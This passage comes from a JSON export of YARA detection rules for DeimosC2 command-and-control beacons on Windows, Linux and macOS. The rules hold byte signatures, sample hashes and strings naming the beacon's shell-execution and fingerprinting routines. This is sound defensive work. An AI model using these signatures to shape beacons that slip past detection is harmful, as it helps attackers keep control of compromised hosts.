[rsp+80h+var_78], rax ; __int64\n            48 8B ?? 24 ?? 00 00 00                       // mov     rax, [rsp+80h+arg_10]\n            48 89 ?? 24 ??                                // mov     [rsp+80h+var_70], rax ; __int64\n            48 8B ?? ?? ?? ?? ??                          // mov     rax, cs:qword_B2DB58\n            48 8B ?? ?? ?? ?? ??                          // mov     rcx, cs:qword_B2DB50\n            48 89 4C 24 ??                                // mov     [rsp+80h+var_68], rcx ; __int64\n            48 89 44 24 ??                                // mov     [rsp+80h+var_60], rax ; __int64\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_shellexec_ShellExecute\n        }\n\n    condition:\n        uint16(0) == 0x457f and (\n            1 of ($general_*)\n            or (all of ($shell_*) and all of ($stat_shell_*) and $fingerprinting)\n            or ($agent_shellfunc and $shell_execute)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_ef9e5f57c358"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_elfx86_obfs_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572117Z",
+  "creation_date": "2026-03-23T11:46:25.572126Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572132Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_elfx86_obfs.yar",
+  "content": "rule deimos_obfs_9ff8a57a5e2e {\n    meta:\n        title = \"Obfuscated DeimosC2 Beacon (9ff8a57a5e2e)\"\n        id = \"9a4ab57f-8fab-4103-9721-9ff8a57a5e2e\"\n        description = \"Detects the Obfuscated DeimosC2 Linux C2 beacon, a post-exploitation tool used for command and control.\\nDeimosC2 is a post-exploitation Command & Control (C2) tool that establishes persistence on compromised systems and communicates with its command server using various protocols. It is capable of executing system commands, gathering information, and maintaining persistence on the infected machine.\\nIt is recommended to review system logs for any signs of unauthorized access and isolate the affected machine from the network. Additionally, consider scanning the system for other potential malicious files or processes that may have been executed alongside this beacon.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"Linux.Framework.Deimos\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // da76dc5c608f5f75a8bbb86e13eee6bb575a2305ca53036e8cebe0e3755a3982\n        // 046bc639e73a8f33fc580d20392b28fe261d08453b23d20f45d5ced7ae6b37d9\n\n        $connect_and_log = {\n            FF D1                                         // call    ecx\n            8B 44 24 ??                                   // mov     eax, [esp+70h+var_68.ptr]\n            8B 4C 24 ??                                   // mov     ecx, [esp+70h+var_70.len]\n            89 ?? 24                                      // mov     [esp+70h+var_70.ptr], ecx\n            89 44 24 ??                                   // mov     [esp+70h+var_70.len], eax\n            E8 ?? ?? ?? ??                                // call    FirstTime_I_think_?\n            C6 44 24 ?? 00                                // mov     [esp+70h+var_41], 0\n            E8 ?? ?? ?? ??                                // call    logging_TheRecovery\n            83 C4 70                                      // add     esp, 70\n        }\n\n        $log_recovery_1 = {\n            65 8B 0D 00 00 00 00                          // mov     ecx, large gs:0\n            8B 89 FC FF FF FF                             // mov     ecx, [ecx-4]\n            3B 61 08                                      // cmp     esp, [ecx+8]\n            76 ??                                         // jbe     short loc_830C361\n            83 EC 18                                      // sub     esp, 18h\n            8D ?? 24 ??                                   // lea     eax, [esp+18h+arg_0]\n            89 ?? 24                                      // mov     [esp+18h+var_18], eax ; int\n        }\n\n        $log_recovery_2 = {\n            E8 ?? ?? ?? ??                                // call    runtime_gorecover\n            8B 44 24 ??                                   // mov     eax, [esp+18h+var_14.ptr]\n            8B 4C 24 ??                                   // mov     ecx, [esp+18h+var_14.len]\n            85 C0                                         // test    eax, eax\n            75 ??                                         // jnz     short loc_830C321\n            83 C4 18                                      // add     esp, 18h\n            C3                                            // retn\n        }\n\n        $gobfuscated = {\n            65 8B 0D 00 00 00 00                          // mov     ecx, large gs:0\n            8B 89 FC FF FF FF                             // mov     ecx, [ecx-4]\n            3B 61 08                                      // cmp     esp, [ecx+8]\n            76 ??                                         // jbe     short loc_831A55E\n            83 EC 24                                      // sub     esp, 24h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+24h+var_8], 0D6229B51h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+24h+var_C], 0A24BF538h\n            C7 44 24 ?? 00 00 00 00                       // mov     [esp+24h+var_4], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n    condition:\n        uint16(0) == 0x457f and (\n            (\n                all of ($log_recovery_*)\n                and\n                (($connect_and_log) or ($gobfuscated))\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_obfs_9ff8a57a5e2e"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_macho_obfs_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578005Z",
+  "creation_date": "2026-03-23T11:46:25.578007Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578013Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_macho_obfs.yar",
+  "content": "rule deimos_obfs_cf029d5eb60a {\n    meta:\n        title = \"Obfuscated DeimosC2 Beacon (cf029d5eb60a)\"\n        id = \"08dc11f0-c771-4d95-a298-cf029d5eb60a\"\n        description = \"Detects the DeimosC2 MachO beacon. DeimosC2 is a post-exploitation Command & Control (C2) tool that leverages multiple communication methods to establish persistence and control over compromised machines.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-15\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"MacOS.Framework.Deimos\"\n        context = \"process,memory,file.macho\"\n        os = \"MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fc98fd6e4cdc7170b77b5d68703d00015e92761bdb978624ad6293133c7604e1\n\n        $shell_prep_obfuscated = {\n            48 3B 61 10                                   // cmp     rsp, [rcx+10h]\n            0F ?? ?? ?? ?? ??                             // jbe     loc_1374ECC\n            48 83 EC 50                                   // sub     rsp, 50h\n            48 89 6C 24 ??                                // mov     [rsp+50h+var_8], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+50h+var_8]\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??                 // mov     rax, 0F66EB24E9889CE31h\n            48 89 44 24 38                                // mov     [rsp+50h+var_18], rax\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??                 // mov     rax, 9807ED25FBECA652h\n            48 89 44 24 ??                                // mov     [rsp+50h+var_20], rax\n            48 C7 44 24 ?? 00 00 00 00                    // mov     [rsp+50h+var_10], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n        $logger_prep_obfuscated = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            48 89 6C 24 ??                                // mov     [rsp+20h+var_8], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+20h+var_8]\n            F2 0F 10 ?? 24 ??                             // movsd   xmm0, [rsp+20h+arg_8]\n            F2 0F 10 ?? 24 ??                             // movsd   xmm1, [rsp+20h+arg_0]\n            F2 0F 59 C1                                   // mulsd   xmm0, xmm1\n            0F 10 D1                                      // movups  xmm2, xmm1\n            F2 0F 5C C8                                   // subsd   xmm1, xmm0\n            F2 0F 58 C2                                   // addsd   xmm0, xmm2\n            F2 0F ?? ?? ?? ?? ?? ??                       // movsd   xmm2, cs:qword_89F2C0\n            66 0F 2E D1                                   // ucomisd xmm2, xmm1\n        }\n\n        $gobfuscated = {\n            48 83 EC 48                                   // sub     rsp, 48h\n            48 89 6C 24 ??                                // mov     [rsp+48h+var_C+4], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+48h+var_C+4]\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [rsp+48h+var_10], 0FB6D3082h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [rsp+48h+var_14], 8F045EEBh\n            C7 44 24 ?? 00 00 00 00                       // mov     dword ptr [rsp+48h+var_C], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n    condition:\n        uint16(0) == 0xfacf and (\n            $shell_prep_obfuscated or\n            $logger_prep_obfuscated or\n            $gobfuscated\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_obfs_cf029d5eb60a"
+  ],
+  "rule_creation_date": "2022-11-15",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "macos"
+  ],
+  "rule_classifications": [
+    "MacOS.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "file.macho",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_winx64_obfs_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580751Z",
+  "creation_date": "2026-03-23T11:46:25.580754Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580760Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_winx64_obfs.yar",
+  "content": "rule deimos_obfs_a40ed9afec0f {\n    meta:\n        title = \"Obfuscated DeimosC2 Beacon (a40ed9afec0f)\"\n        id = \"7998cabe-54da-477f-b358-a40ed9afec0f\"\n        description = \"Detects obfuscated DeimosC2 x64 beacons.\\nDeimosC2 is a post-exploitation Command & Control (C2) tool designed to facilitate lateral movement and persistence within a compromised environment.\\nIt uses a variety of communication methods to maintain control over infected machines. This rule specifically targets obfuscated versions of the beacon, which are often used to evade detection.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"Windows.Framework.Deimos\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 4f069ec1dc6e88a2b4e1c50a8dda6a7935f91424724499b41ff1c3a9f87b143c\n        // 7bec7b246c7ba157f16dde3cee2225c1066bac706aa3113031df351a75c22239\n\n        $shell_prep_obfuscated = {\n            48 83 EC 50                                   // sub     rsp, 50h\n            48 89 6C 24 ??                                // mov     [rsp+50h+var_8], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+50h+var_8]\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??                 // mov     rax, 0F8DD37AA87FF684Ah\n            48 89 44 24 ??                                // mov     [rsp+50h+var_18], rax\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??                 // mov     rax, 96B468C1E49A0029h\n            48 89 44 24 ??                                // mov     [rsp+50h+var_20], rax\n            48 ?? 44 24 ?? 00 00 00 00                    // mov     [rsp+50h+var_10], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n        $logger_prep_obfuscated = {\n            48 83 EC 20                                   // sub     rsp, 20h\n            48 89 6C 24 ??                                // mov     [rsp+20h+var_8], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+20h+var_8]\n            F2 0F 10 ?? 24 ??                             // movsd   xmm0, [rsp+20h+arg_8]\n            F2 0F 10 ?? 24 ??                             // movsd   xmm1, [rsp+20h+arg_0]\n            F2 0F 59 C1                                   // mulsd   xmm0, xmm1\n            0F 10 D1                                      // movups  xmm2, xmm1\n            F2 0F 5C C8                                   // subsd   xmm1, xmm0\n            F2 0F 58 C2                                   // addsd   xmm0, xmm2\n            F2 0F ?? ?? ?? ?? ?? ??                       // movsd   xmm2, cs:qword_89F2C0\n            66 0F 2E D1                                   // ucomisd xmm2, xmm1\n        }\n\n        $gobfuscated = {\n            48 83 EC 48                                   // sub     rsp, 48h\n            48 89 6C 24 ??                                // mov     [rsp+48h+var_C+4], rbp\n            48 8D 6C 24 ??                                // lea     rbp, [rsp+48h+var_C+4]\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [rsp+48h+var_10], 0FB6D3082h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [rsp+48h+var_14], 8F045EEBh\n            C7 44 24 ?? 00 00 00 00                       // mov     dword ptr [rsp+48h+var_C], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            ($shell_prep_obfuscated)\n            or ($gobfuscated)\n            or ($logger_prep_obfuscated)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_obfs_a40ed9afec0f"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_winx64_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580717Z",
+  "creation_date": "2026-03-23T11:46:25.580720Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580726Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_winx64.yar",
+  "content": "rule deimos_d29a069ac007 {\n    meta:\n        title = \"DeimosC2 Beacon (d29a069ac007)\"\n        id = \"10a14f92-998c-4959-84b8-d29a069ac007\"\n        description = \"Detects a Windows DeimosC2 beacon.\\nDeimosC2 is a post-exploitation Command & Control (C2) tool designed to maintain persistence and control over compromised systems. It employs various communication methods to establish command and control channels.\\nThis rule detects the presence of DeimosC2 beacon activity, including its initialization routines and communication attempts.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"Windows.Framework.Deimos\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 325f216d2297ca37dcbd050e3a9c34229e47f5dce30f7f6442d4b20ff7940f5b\n\n        $general_1 = \"github.com/DeimosC2/DeimosC2/agents/resources/fingerprint.init\" fullword ascii\n        $general_2 = \"github.com/DeimosC2/DeimosC2/agents/resources/agentfunctions.KillNetList\" fullword ascii\n        $general_3 = \"github.com/DeimosC2/DeimosC2/agents/resources/shellexec/exec_windows.go\" fullword ascii\n        $general_4 = \"github.com/DeimosC2/DeimosC2/agents/resources/fingerprint\" fullword ascii\n\n        $path_powershell = \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" ascii\n        $path_cmd = \"C:\\\\Windows\\\\System32\\\\cmd.exe\" ascii\n\n        $first_connection_1 = {\n            48 89 74 24 ??                                // mov     [rsp+2B8h+var_240], rsi\n            48 89 ?? 24 ?? ?? ?? ??                       // mov     [rsp+2B8h+var_1E0], rdx\n            48 8D ?? ?? ?? ?? ??                          // lea     rax, aCWindowsSystem_0 ; \"C:\\\\Windows\\\\System32\\\\WindowsPowerShel\"...\n            48 89 ?? 24                                   // mov     [rsp+2B8h+var_2B8.ptr], rax ; __int64\n            48 C7 ?? 24 ?? 39 ?? ?? ??                    // mov     [rsp+2B8h+var_2B8.len], 39h ; '9' ; __int64\n            E8 ?? ?? ?? ??                                // call    os_Stat\n        }\n\n        $first_connection_2 = {\n            48 8B 44 24 ??                                // mov     rax, [rsp+2B8h+var_290]\n            48 8B 4C 24 ??                                // mov     rcx, [rsp+2B8h+var_298]\n            48 85 C9                                      // test    rcx, rcx\n            0F 85 ?? ?? ?? ??                             // jnz     loc_??????\n            48 8B 4C 24 ??                                // mov     rcx, [rsp+2B8h+var_270]\n            48 8D ?? 01                                   // lea     rdx, [rcx+1]\n            48 8B ?? ?? ??                                // mov     rbx, [rsp+2B8h+var_268]\n            48 39 DA                                      // cmp     rdx, rbx\n        }\n\n        $fingerprinting = {\n            48 89 ?? 24 ??                                // mov     [rsp+2B8h+var_268], rbx\n            48 89 ?? 24 ??                                // mov     [rsp+2B8h+var_270], rdx\n            48 89 ?? 24 ?? ?? ?? ??                       // mov     [rsp+2B8h+var_1B8], rax\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_lib_privileges_AdminOrElevated\n            0F B6 ?? ??                                   // movzx   eax, byte ptr [rsp+2B8h+var_2B8.ptr]\n            88 44 24 ??                                   // mov     [rsp+2B8h+var_271], al\n            0F B6 ?? ?? 01                                // movzx   ecx, byte ptr [rsp+2B8h+var_2B8.ptr+1]\n            88 4C 24 ??                                   // mov     [rsp+2B8h+var_272], cl\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_fingerprint_FingerPrint\n        }\n\n        $error_handling = {\n            FF D1                                         // call    rcx\n            48 8B ?? 24 ??                                // mov     rax, [rsp+2B8h+var_2B8.cap]\n            48 8B ?? 24 ??                                // mov     rcx, [rsp+2B8h+var_2B8.len]\n            48 89 ?? 24                                   // mov     [rsp+2B8h+var_2B8.ptr], rcx\n            48 89 ?? 24 ??                                // mov     [rsp+2B8h+var_2B8.len], rax\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_agentfunctions_ErrHandling\n            31 C0                                         // xor     eax, eax\n            31 C9                                         // xor     ecx, ecx\n            31 D2                                         // xor     edx, edx\n        }\n\n        $shell_execute = {\n            48 8B ?? ?? ?? ?? ??                          // mov     rax, cs:qword_B2C318\n            48 8B ?? ?? ?? ?? ??                          // mov     rcx, cs:qword_B2C310\n            48 89 4C ?? ??                                // mov     [rsp+0D0h+var_B8], rcx ; __int64\n            48 89 44 ?? ??                                // mov     [rsp+0D0h+var_B0], rax ; __int64\n            E8 ?? ?? ?? ??                                // call    github_com_DeimosC2_DeimosC2_agents_resources_shellexec_ShellExecute\n            48 8B 44 24 ??                                // mov     rax, [rsp+0D0h+var_A8]\n            48 8B 4C 24 ??                                // mov     rcx, [rsp+0D0h+var_A0]\n            48 8B 54 24 ??                                // mov     rdx, [rsp+0D0h+var_98]\n            0F B6 ?? 24 ?? ?? ?? 00                       // movzx   ebx, [rsp+0D0h+arg_18]\n            84 DB                                         // test    bl, bl\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            1 of ($general_*)\n            or (all of ($path_*) and all of ($first_connection_*) and ($fingerprinting))\n            or ($shell_execute)\n            or ($error_handling)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_d29a069ac007"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573",
+    "attack.t1027",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-deimos_beacon_winx86_obfs_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567098Z",
+  "creation_date": "2026-03-23T11:46:25.567100Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567105Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/DeimosC2/DeimosC2"
+  ],
+  "name": "deimos_beacon_winx86_obfs.yar",
+  "content": "rule deimos_obfs_bc9492f3e266 {\n    meta:\n        title = \"Obfuscated DeimosC2 Beacon (bc9492f3e266)\"\n        id = \"0053970a-b560-4e32-9f89-bc9492f3e266\"\n        description = \"Detects the DeimosC2 Windows x86 beacon.\\nDeimosC2 is a post-exploitation Command & Control (C2) tool used to control compromised machines.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/DeimosC2/DeimosC2\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1573;attack.t1068\"\n        classification = \"Windows.Framework.Deimos\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 439b072b6da250440d70d0e959959973af6077c46bf6ffedd0b38343291eb40e\n\n        $shell_prep_obfuscated = {\n            83 EC 30                                      // sub     esp, 30h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+30h+var_10], 144AB026h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+30h+var_C], 0FA883AE1h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+30h+var_18], 772FD845h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+30h+var_14], 94E1658Ah\n            C7 44 24 ?? 00 00 00 00                       // mov     [esp+30h+var_8], 0\n            C7 44 24 ?? 00 00 00 00                       // mov     [esp+30h+var_4], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n        $logger_prep_obfuscated = {\n            83 EC 0C                                      // sub     esp, 0Ch\n            F2 0F 10 44 24 ??                             // movsd   xmm0, [esp+0Ch+arg_8]\n            F2 0F 10 4C 24 ??                             // movsd   xmm1, [esp+0Ch+arg_0]\n            F2 0F 59 C1                                   // mulsd   xmm0, xmm1\n            F2 0F 10 D1                                   // movsd   xmm2, xmm1\n            F2 0F 5C C8                                   // subsd   xmm1, xmm0\n            F2 0F 58 C2                                   // addsd   xmm0, xmm2\n            F2 0F ?? ?? ?? ?? ?? ??                       // movsd   xmm2, ds:qword_7EB308\n            66 0F 2E D1                                   // ucomisd xmm2, xmm1\n        }\n\n        $gobfuscated = {\n            83 EC 24                                      // sub     esp, 24h\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+24h+var_8], 51061EDDh\n            C7 44 24 ?? ?? ?? ?? ??                       // mov     [esp+24h+var_C], 256F70B4h\n            C7 44 24 ?? ?? ?? ?? 00                       // mov     [esp+24h+var_4], 0\n            31 C0                                         // xor     eax, eax\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            ($shell_prep_obfuscated)\n            or ($gobfuscated)\n            or ($logger_prep_obfuscated)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "deimos_obfs_bc9492f3e266"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Deimos"
+  ],
+  "rule_tactic_tags": [
